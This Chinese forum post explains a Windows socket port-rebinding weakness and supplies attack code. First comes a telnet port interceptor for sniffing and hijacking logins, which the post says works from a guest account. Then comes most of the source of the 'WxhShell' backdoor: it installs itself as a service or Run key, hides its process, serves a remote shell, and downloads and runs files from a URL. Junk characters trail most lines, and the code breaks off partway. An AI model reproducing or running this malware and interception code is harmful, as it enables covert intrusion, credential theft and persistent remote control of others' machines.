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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Hj~O49%j&  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;<-7*}Dj  
s4t0f_vj`  
  saddr.sin_family = AF_INET; E`AYee%l  
"ahvNx;x  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Qpu3(`d<  
+qkMQETV6  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); mJMq{6;  
nem@sB;v#  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 L[C*@ uK  
gq4 . d  
  这意味着什么?意味着可以进行如下的攻击: DuNcX$%%  
r95zP]T  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 )Au&kd-W@(  
kwar}:`  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) `&g:d E(j  
_01Px a2.  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 A3s57.Z]|  
/77z\[CeYH  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  #x~_`>mDN  
 _^T}_  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 yGEb7I$h  
9X]f[^  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 D/s?i[lb  
MsjnRX:c3u  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #&siHHs \  
zilaP)5x6  
  #include 4}-#mBV]/  
  #include wj%wp[KA$  
  #include j=j+Nf$  
  #include    9#@Zz4Ww  
  DWORD WINAPI ClientThread(LPVOID lpParam);   IVteF*8hU  
  int main() ,F: =(21  
  { (~#G'Hd  
  WORD wVersionRequested; }1m_o@{3P  
  DWORD ret; "{( [!  
  WSADATA wsaData; ( V4G<-jG  
  BOOL val; O5-;I,)H  
  SOCKADDR_IN saddr; x!?Z *v@I  
  SOCKADDR_IN scaddr; M 9"-WIG@h  
  int err;  :]c=pH  
  SOCKET s; F<r4CHfh;  
  SOCKET sc; ;r!\-]5$  
  int caddsize; 0w3b~RJ  
  HANDLE mt; 0&$xX!]  
  DWORD tid;   Gvn: c/m;  
  wVersionRequested = MAKEWORD( 2, 2 ); =|0/Ynfe  
  err = WSAStartup( wVersionRequested, &wsaData ); l0`'5>  
  if ( err != 0 ) { dS$ji#+d$  
  printf("error!WSAStartup failed!\n"); fn1pa@P  
  return -1; G (\Ckf:  
  } RgGA$HN/  
  saddr.sin_family = AF_INET; p >aw  
   'v`_Ii|-  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Yy@g9mi  
` Zf9$K|  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); &@; RI~  
  saddr.sin_port = htons(23); BXA]9eK  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _?b;0{93u  
  { $4Y&j}R  
  printf("error!socket failed!\n"); 3bts7<K=  
  return -1; ^s*\Qw{Ii  
  } evOb  
  val = TRUE; 7@P656{  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 0yTQ{'Cc  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) QUp?i  
  { *<k&#D"m  
  printf("error!setsockopt failed!\n"); DV,DB\P$  
  return -1; a: IwA9!L  
  } %#9P?COs&W  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; .,mM%w,^O  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ^zeL+(@r/  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 4Hd Si  
IMaYEO[  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $8@+j[>  
  { W5I=X] &  
  ret=GetLastError(); \`gEu{  
  printf("error!bind failed!\n"); iGa}3pF  
  return -1; s3< F  
  } .. UoyBV  
  listen(s,2); <[9?Rj@  
  while(1) (nz}J)T&  
  { :c<*%*e  
  caddsize = sizeof(scaddr); SG`)PW?  
  //接受连接请求 #eLN1q&Z  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); O PiaG!3<  
  if(sc!=INVALID_SOCKET) fq(5Lfe}  
  { P;c0L;/  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 8[HZ@@  
  if(mt==NULL) NL-_#N$  
  { _BwKY#09Zp  
  printf("Thread Creat Failed!\n"); ,Hh*3rR^  
  break; 4W-"|Z_x  
  } -fPT}v  
  } e YDUon  
  CloseHandle(mt); 2Oi'E  
  } % $.vOFP9  
  closesocket(s); ' =}pxyg  
  WSACleanup(); $rTu6(i1  
  return 0; 6$(0Ty  
  }   h--45`cE  
  DWORD WINAPI ClientThread(LPVOID lpParam) >[P%Ty);  
  { l/F!Bq[*g  
  SOCKET ss = (SOCKET)lpParam; -lnevrl   
  SOCKET sc; +"Ub/[J{G1  
  unsigned char buf[4096]; LYNZP4(R  
  SOCKADDR_IN saddr; @<5Tba>SC  
  long num; sDAK\#z  
  DWORD val; k}<<bm*f  
  DWORD ret; sMX$Q45e  
  //如果是隐藏端口应用的话,可以在此处加一些判断 en%B>]QI  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   J7m`]!*t  
  saddr.sin_family = AF_INET; ?\M)WDO  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); mR,O0O}&  
  saddr.sin_port = htons(23); SS0_P jKz  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) U/5$%0)  
  { idz9YpW  
  printf("error!socket failed!\n"); QQq/5r4O`q  
  return -1; .5z&CJDiIi  
  } 7vq DZg  
  val = 100; Dt|fDw$]D  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L ]*`4 L  
  { R9r)C{63S&  
  ret = GetLastError(); Z:c*!`F  
  return -1; m:"+J  
  } dFMAh&:>  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |Q6h /"2  
  { OF-WUa4t  
  ret = GetLastError(); 8? F 2jv  
  return -1; _eh3qs:  
  } l_b_-p  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) L?Tu)<Mn  
  { kz_M;h>  
  printf("error!socket connect failed!\n"); kkL(;H:%  
  closesocket(sc); <K,[sy&Qy  
  closesocket(ss); B6uRJcD4  
  return -1; !^-OfqIHfV  
  } ]f5c\\)  
  while(1) Z:TFOnJ  
  { S[ ^nSF  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 zQt1;bo  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 4`6< {  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ExqM1&zpK  
  num = recv(ss,buf,4096,0); dXDXRY.FMQ  
  if(num>0) 6qf-Y!D5  
  send(sc,buf,num,0); k|5k8CRX  
  else if(num==0) +8eVj#N  
  break; o Fi) d[`  
  num = recv(sc,buf,4096,0); iAgOnk[  
  if(num>0) _E (x2BS?  
  send(ss,buf,num,0); pSXEJ 2k  
  else if(num==0) ?F25D2[(  
  break; St_S l:m$  
  } &rcdr+'  
  closesocket(ss); s4N,^_j  
  closesocket(sc); xlk5Gob*  
  return 0 ; ;8uHRcdQ  
  } A`g.[7  
-FaaFw:Z;A  
cXMa\#P  
========================================================== /0-\ek ye  
Wy!uRzbBv  
下边附上一个代码,,WXhSHELL lZBv\JE  
Gg}t-_M  
========================================================== xmOM<0T  
1j+eD:d'  
#include "stdafx.h" \:h0w;34O  
Eh:yR J_8  
#include <stdio.h> 3+j^E6@  
#include <string.h> >ks3WMm  
#include <windows.h> dt0T t  
#include <winsock2.h> +~:x}QwGT  
#include <winsvc.h> n}f3Vrl  
#include <urlmon.h> j+ I*Xw  
=^#0.  
#pragma comment (lib, "Ws2_32.lib") g(1"GKg3K  
#pragma comment (lib, "urlmon.lib") <347 C{q  
aI 7Xq3  
#define MAX_USER   100 // 最大客户端连接数 k 5t{  
#define BUF_SOCK   200 // sock buffer t={poQC~  
#define KEY_BUFF   255 // 输入 buffer +<z7ds{Z  
fs7~NY  
#define REBOOT     0   // 重启 pRb<wt7v  
#define SHUTDOWN   1   // 关机 }&C dsCM>2  
? S8$5gA  
#define DEF_PORT   5000 // 监听端口 A_aO }oBX  
fG3wc l~  
#define REG_LEN     16   // 注册表键长度 PMQb\%iE"  
#define SVC_LEN     80   // NT服务名长度 *Q0lC1GQ  
sFCf\y  
// 从dll定义API K[n<+e;G  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \Ec X!aC  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~R)1nN|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =1eV   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G}Gb|sD Zq  
UC.8DaIPN  
// wxhshell配置信息 DhHtz.6  
struct WSCFG { N-Qu/,~+  
  int ws_port;         // 监听端口 x4@MO|C  
  char ws_passstr[REG_LEN]; // 口令  GsI[N%  
  int ws_autoins;       // 安装标记, 1=yes 0=no . c#90RP  
  char ws_regname[REG_LEN]; // 注册表键名 Oxpo6G  
  char ws_svcname[REG_LEN]; // 服务名 rYD']%2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4a#B!xW  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 A(PE  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ybC-f'0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,#=eu85 '  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" SCqu,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n<=y"*  
x,}ez  
}; w' .'Yu6  
2m|Eoc&M_  
// default Wxhshell configuration hjw4Xzju  
struct WSCFG wscfg={DEF_PORT, t2~"B&7My  
    "xuhuanlingzhe", /nwxuy  
    1, uwmoM>I W^  
    "Wxhshell", D\@e{.$MZ|  
    "Wxhshell", $# D n4  
            "WxhShell Service", cn@03&dAl  
    "Wrsky Windows CmdShell Service", c]S+70!n  
    "Please Input Your Password: ",  |h  
  1, }5QZ6i#  
  "http://www.wrsky.com/wxhshell.exe", BDWim`DK"  
  "Wxhshell.exe" d~w}NK[(  
    }; hkkF1 h  
\dC.%#  
// 消息定义模块 ,"x23=]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Pv^(Q ]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <yis  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4 `j,&=  
char *msg_ws_ext="\n\rExit."; 6\%r6_.d  
char *msg_ws_end="\n\rQuit."; 4F}g(  
char *msg_ws_boot="\n\rReboot..."; -/@|2!d  
char *msg_ws_poff="\n\rShutdown..."; MX"A@p~H  
char *msg_ws_down="\n\rSave to "; cb\jrbj6  
^- u[q- !  
char *msg_ws_err="\n\rErr!"; 5`(((_Um+  
char *msg_ws_ok="\n\rOK!"; +oE7~64LL  
-bv>iIC  
char ExeFile[MAX_PATH]; Z83q-  
int nUser = 0; LZgwIMd  
HANDLE handles[MAX_USER]; y>DfM5>  
int OsIsNt; A9NOeE  
"bv,I-\  
SERVICE_STATUS       serviceStatus; =1%zI%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; n ;Ql=4  
SD)5?{6<  
// 函数声明 aS c#&{  
int Install(void); A@9U;8k  
int Uninstall(void); &*Q|d*CP  
int DownloadFile(char *sURL, SOCKET wsh); rhlW  
int Boot(int flag); 8<wtf]x  
void HideProc(void); Z'7 c^c7_  
int GetOsVer(void); 9O(i+fM  
int Wxhshell(SOCKET wsl); g(ZeFOn  
void TalkWithClient(void *cs); jydp4ek_n  
int CmdShell(SOCKET sock); T*7S;<2  
int StartFromService(void); "`gfy  
int StartWxhshell(LPSTR lpCmdLine); )$2%&9b  
Zkwy.Hq^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2+c>O%L  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); M Ak-=?t  
/vFxVBX  
// 数据结构和表定义 {hkM*:U  
SERVICE_TABLE_ENTRY DispatchTable[] = s!8J.hD'I  
{ W}#QKZ)MB  
{wscfg.ws_svcname, NTServiceMain}, Co{MIuL  
{NULL, NULL} Xq=!"E  
}; z&>9 s)^-  
X67C;H+  
// 自我安装 '6Pu[^x  
int Install(void) =:t@;y  
{ \'\N"g`Fr  
  char svExeFile[MAX_PATH]; sR7{i  
  HKEY key; [TiT ff&LV  
  strcpy(svExeFile,ExeFile); w>H%[\Qs  
/ K2.V@T  
// 如果是win9x系统,修改注册表设为自启动 \NvC   
if(!OsIsNt) { ae9k[=-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 23B^g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [[Jv)?jm  
  RegCloseKey(key); +X2 i/}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k1QpX@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /xX,   
  RegCloseKey(key); a}[=_vb}K  
  return 0; ;-Y]X(z>  
    } mh!N^[=n  
  } g:~?U*f-  
} ZNL;8sI?>  
else { *@$($<pY&  
#z-iL!?  
// 如果是NT以上系统,安装为系统服务 V7K tbL#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]yj4~_&O  
if (schSCManager!=0) #T gz,e9  
{ )7Hon  
  SC_HANDLE schService = CreateService } K+Q9<~u  
  ( hJ$C%1;  
  schSCManager, jm#F*F vL  
  wscfg.ws_svcname, Skr\a\ J  
  wscfg.ws_svcdisp, MA/"UV&M(  
  SERVICE_ALL_ACCESS, T@d_ t  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4 _c:Vl  
  SERVICE_AUTO_START, vV:M S O'r  
  SERVICE_ERROR_NORMAL, )<]w23i  
  svExeFile, LX(iuf+l  
  NULL, 4z-,M7iP  
  NULL, @'F8|I 6  
  NULL, ^t/'dfF  
  NULL, `a/PIc"  
  NULL 1drqWI~  
  ); WIH4Aw  
  if (schService!=0) fY,@2VxyfA  
  { OI]K_ m3  
  CloseServiceHandle(schService); IgHs&=  
  CloseServiceHandle(schSCManager); 61s2bt#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ZH`K%h0  
  strcat(svExeFile,wscfg.ws_svcname); ~Uwr68 9N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { rlUdAa3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); K[Egwk7  
  RegCloseKey(key); buC m @@o  
  return 0; 5m%baf2_  
    } alb+R$s  
  } ]"2 v7)e  
  CloseServiceHandle(schSCManager); 3-_U-:2"  
} <L!~f`nH2  
} U4^p({\|-  
]U^d1&k  
return 1; ,XBV}y  
} WO+?gu  
#<WyId(  
// 自我卸载 5u u2 _B_L  
int Uninstall(void) 3wa<,^kqy  
{ r:8]\RU  
  HKEY key; 5.C[)`_  
0]2B-o"kI  
if(!OsIsNt) { HhY2`P8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;f ;*Q>!  
  RegDeleteValue(key,wscfg.ws_regname); p.TiTFu/  
  RegCloseKey(key); xP5mL3j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;+TF3av0zq  
  RegDeleteValue(key,wscfg.ws_regname); J?n)FgxS  
  RegCloseKey(key); [-:<z?(n4  
  return 0; &\6`[# bT  
  } i Ks,i9j  
} 3>@qQ_8%~  
} _?(hWC"0  
else { }Nd`;d  
>m_ p\$_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;SlS!6.W-  
if (schSCManager!=0) jN'fm  
{ eB/hyC1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); W_f"Gk  
  if (schService!=0) "6*Kgf2G  
  { qqom$H<  
  if(DeleteService(schService)!=0) { 8NF;k5   
  CloseServiceHandle(schService); ttAVB{kdo  
  CloseServiceHandle(schSCManager); hiK[!9r  
  return 0; 1VyO?KX '  
  } G4iLCcjY  
  CloseServiceHandle(schService); `S/1U87  
  } cJ(zidf_$  
  CloseServiceHandle(schSCManager); ncw?;  
} I$6 f.W  
} (zTI)EV  
= "hY{RUa  
return 1; s>M~g,xTU  
} X-ki%jp3  
Zm8 u:  
// 从指定url下载文件 +'&_V011<  
int DownloadFile(char *sURL, SOCKET wsh) I}G}+0geV  
{ `6S=KRv  
  HRESULT hr; ,C'w(af@}  
char seps[]= "/"; sh)) [V"8  
char *token; @<w9fzi  
char *file; vA7jZw  
char myURL[MAX_PATH]; A2O_pbQti  
char myFILE[MAX_PATH]; "TH-A6v1  
9snyX7/!L  
strcpy(myURL,sURL); '__3[D  
  token=strtok(myURL,seps); ZNH*[[Pf  
  while(token!=NULL) RzY`^A6G6  
  { NV:XPw/  
    file=token;  eS@!\H x  
  token=strtok(NULL,seps); '*LN)E> d  
  } hZ\W ?r  
U0bE B  
GetCurrentDirectory(MAX_PATH,myFILE); E[Ws} n.  
strcat(myFILE, "\\"); fF-\TW  
strcat(myFILE, file); #+ lq7HJ1  
  send(wsh,myFILE,strlen(myFILE),0); ao" ;5 m  
send(wsh,"...",3,0); J&U0y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8,H5G`  
  if(hr==S_OK) t ]I(98pY  
return 0; 6_ &6'Vq  
else ^q N1~v=hS  
return 1; []N$;~R7  
/HJ(Wt q  
} RnBmy^l"  
Sp$x%p0  
// 系统电源模块 /%q9hI   
int Boot(int flag) Nj@?}`C 4  
{ \F+o=  
  HANDLE hToken; >LaL! PnZ  
  TOKEN_PRIVILEGES tkp; 1q233QSW)  
=&*QT&e  
  if(OsIsNt) { qL;T&h  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `=l{kBZT|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \A\yuJ=  
    tkp.PrivilegeCount = 1; (R*jt,x  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; zQj%ds:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {7~ $$AR(  
if(flag==REBOOT) { IweK!,:>dN  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $Ex 9  
  return 0; zf;[nz  
} ONe!'a0  
else { `0G.Y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [Fj#7VZK  
  return 0; pA,EUh| H  
} L9YwOSb.  
  } k| cI!   
  else { 2=,Sz1`t  
if(flag==REBOOT) { [oN> :  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \/4%[Q2QDm  
  return 0; 7 KdM>1!  
} /,@v"mE7c!  
else { z&vms   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Qu>zO!x  
  return 0; rn5g+%jX*  
} UoS;!}l  
} ]XafFr6pe  
DUliU8B}\  
return 1; -r'seb5  
} ~S_IU">E  
(cA|N0  
// win9x进程隐藏模块 wukos5  
void HideProc(void) R6$F<;nw  
{ GV@E<dg$R  
<^'+ ]?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); jhbH6=f4]^  
  if ( hKernel != NULL ) {2clOUi  
  { _,0!ZP-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); = hX-jP  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); U+r#Y E.  
    FreeLibrary(hKernel); v9`B.(Ru  
  } ~)8i5p;P/k  
|Ge/|;.v`  
return; 3a)Q:#okD  
} /FV6lR!0^  
0#{]!>R  
// 获取操作系统版本 YB1DL ^ :  
int GetOsVer(void) 1@z@  
{ ow$l!8  
  OSVERSIONINFO winfo; ;AB,:*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rJQ|Oi&1i  
  GetVersionEx(&winfo); K/d &c]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^W[`##,{Od  
  return 1; 4-rI4A<  
  else L{,7(C=  
  return 0; x&/Syb  
} $,zM99  
5{/Pn%5  
// 客户端句柄模块 e27CbA{_w  
int Wxhshell(SOCKET wsl) 3v>,c>b([  
{ 78J .~v/  
  SOCKET wsh; skx=w<YO6]  
  struct sockaddr_in client; 1nTaKK q  
  DWORD myID; p}|wO&4h  
vfTG*jG  
  while(nUser<MAX_USER) G/3lX^Z>  
{ =}GyI_br;8  
  int nSize=sizeof(client); H1qw1[%0y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I5OH=,y`  
  if(wsh==INVALID_SOCKET) return 1; &`Z)5Ww  
5 ^J8<s@_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ZV4' |q  
if(handles[nUser]==0) 2OlC7X{  
  closesocket(wsh); {!Z_&i5  
else K}3"KC  
  nUser++; #I~dv{RX  
  } /~huTKA}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); LF.~rmPa  
Q R$sIu@%  
  return 0; :p)9Heu  
} cE>/iZc  
}e =GvWGa  
// 关闭 socket Pc4c Sw#5  
void CloseIt(SOCKET wsh) 2co{9LM  
{ Y'*h_K  
closesocket(wsh); (wF$"c3'{  
nUser--; #(J}xz;  
ExitThread(0); 7{F9b0zwk  
} 7#. PMyK9  
kGiw?~t=%  
// 客户端请求句柄  !Ocg  
void TalkWithClient(void *cs) tU/NwA"  
{ a(T4WDl^  
<G?85*Nv_  
  SOCKET wsh=(SOCKET)cs; 6-}e-H  
  char pwd[SVC_LEN]; .V:<w~=b  
  char cmd[KEY_BUFF]; < ^!eaBR4  
char chr[1]; !rGI),  
int i,j; :!15>ML;-  
QO1Gq9  
  while (nUser < MAX_USER) {  pytfsVM  
slO9H6<  
if(wscfg.ws_passstr) { '^3pF2lIw  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q ? TI,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M|=$~@9#X  
  //ZeroMemory(pwd,KEY_BUFF); Nh/ArugP5P  
      i=0; 9],"AjD  
  while(i<SVC_LEN) { zR_l ^NK  
Dohe(\C@  
  // 设置超时 [7w_.(f#  
  fd_set FdRead; &YP>" <  
  struct timeval TimeOut; k\Tm?^L)  
  FD_ZERO(&FdRead); `9{C/qB  
  FD_SET(wsh,&FdRead); .h^Ld,Chj  
  TimeOut.tv_sec=8; I19F\ L`4  
  TimeOut.tv_usec=0; 2czL 1Ci  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); abP?Dj&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N ] /d  
,.MG&O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vg1s5Y qk  
  pwd=chr[0]; _!1c.[ \T  
  if(chr[0]==0xd || chr[0]==0xa) { y+R$pzX  
  pwd=0; #N}}8RL  
  break; sswAI|6ou  
  } 5g7}A`  
  i++; 2DdLqZY#  
    } Cms"OkN  
T7_rnEOO   
  // 如果是非法用户,关闭 socket 58U[r)/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5j5t?G;d,  
} ^q r[?ky]&  
tO3B_zC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "z4E|s  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yE{UV>ry  
4zbV' ]  
while(1) { r T$g^  
-z1o~~  
  ZeroMemory(cmd,KEY_BUFF); 9 NSYrIQ"  
j'cCX[i  
      // 自动支持客户端 telnet标准   \9Zfu4WR  
  j=0; 7O :Gi*MA  
  while(j<KEY_BUFF) { A1T;9`E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sJ()ItU5i  
  cmd[j]=chr[0]; ~3]8f0^%m  
  if(chr[0]==0xa || chr[0]==0xd) { [T|1Qq7  
  cmd[j]=0; )d Dmq  
  break; Yr0i9Qow  
  } I65GUX#DV  
  j++; f\w4F'^tj  
    } -bQvJ`iF  
H}rP{`m  
  // 下载文件 'Q,<_ L"  
  if(strstr(cmd,"http://")) { 8Wp1L0$B  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); CMUphS-KE  
  if(DownloadFile(cmd,wsh)) `&JA7UD>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1uzfV)  
  else sM[c\Z]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t2<(by!  
  } J3^Ir [  
  else { xF0*q  
=J\7(0Dz4t  
    switch(cmd[0]) { Mt0|`=64  
  ]xs\,}I%  
  // 帮助 NKYyMHv6  
  case '?': { zaPR>:r0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g;@PEZk1  
    break; 3qZ{yr2N[  
  } Np_6ZUaqz  
  // 安装 obGSc)?j  
  case 'i': { cn{l %6K  
    if(Install()) Gl9a5b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "$9ZkADO  
    else .<hv &t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l>q.BG  
    break; :g_ +{4  
    } d^>se'ya  
  // 卸载 Id1[}B-T  
  case 'r': { -2 ?fg   
    if(Uninstall()) <{j9|mt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L1K_|X  
    else > xw+2<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]B[Qdn  
    break; /2I("x]  
    } EQ-~e   
  // 显示 wxhshell 所在路径 ,oe4*b}O=.  
  case 'p': { L}nc'smvM  
    char svExeFile[MAX_PATH]; '(*D3ysU  
    strcpy(svExeFile,"\n\r"); a[De  
      strcat(svExeFile,ExeFile); YSmz)YfX9  
        send(wsh,svExeFile,strlen(svExeFile),0); 4 -W?u51"  
    break; h~t]WN  
    } B[h9epU]K  
  // 重启 E>v~B;@  
  case 'b': { E"!*ASN  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $!lxVZ>  
    if(Boot(REBOOT)) &*~ WK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `dhK$jYD  
    else { h#9)M  
    closesocket(wsh); {D8 IA3w  
    ExitThread(0); Zx0c6d!B  
    } 4mg&H0 !  
    break; xa:P(x3[  
    } >[U$n.  
  // 关机  t&]IgF  
  case 'd': { %yVZ|d*Q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); = %m/  
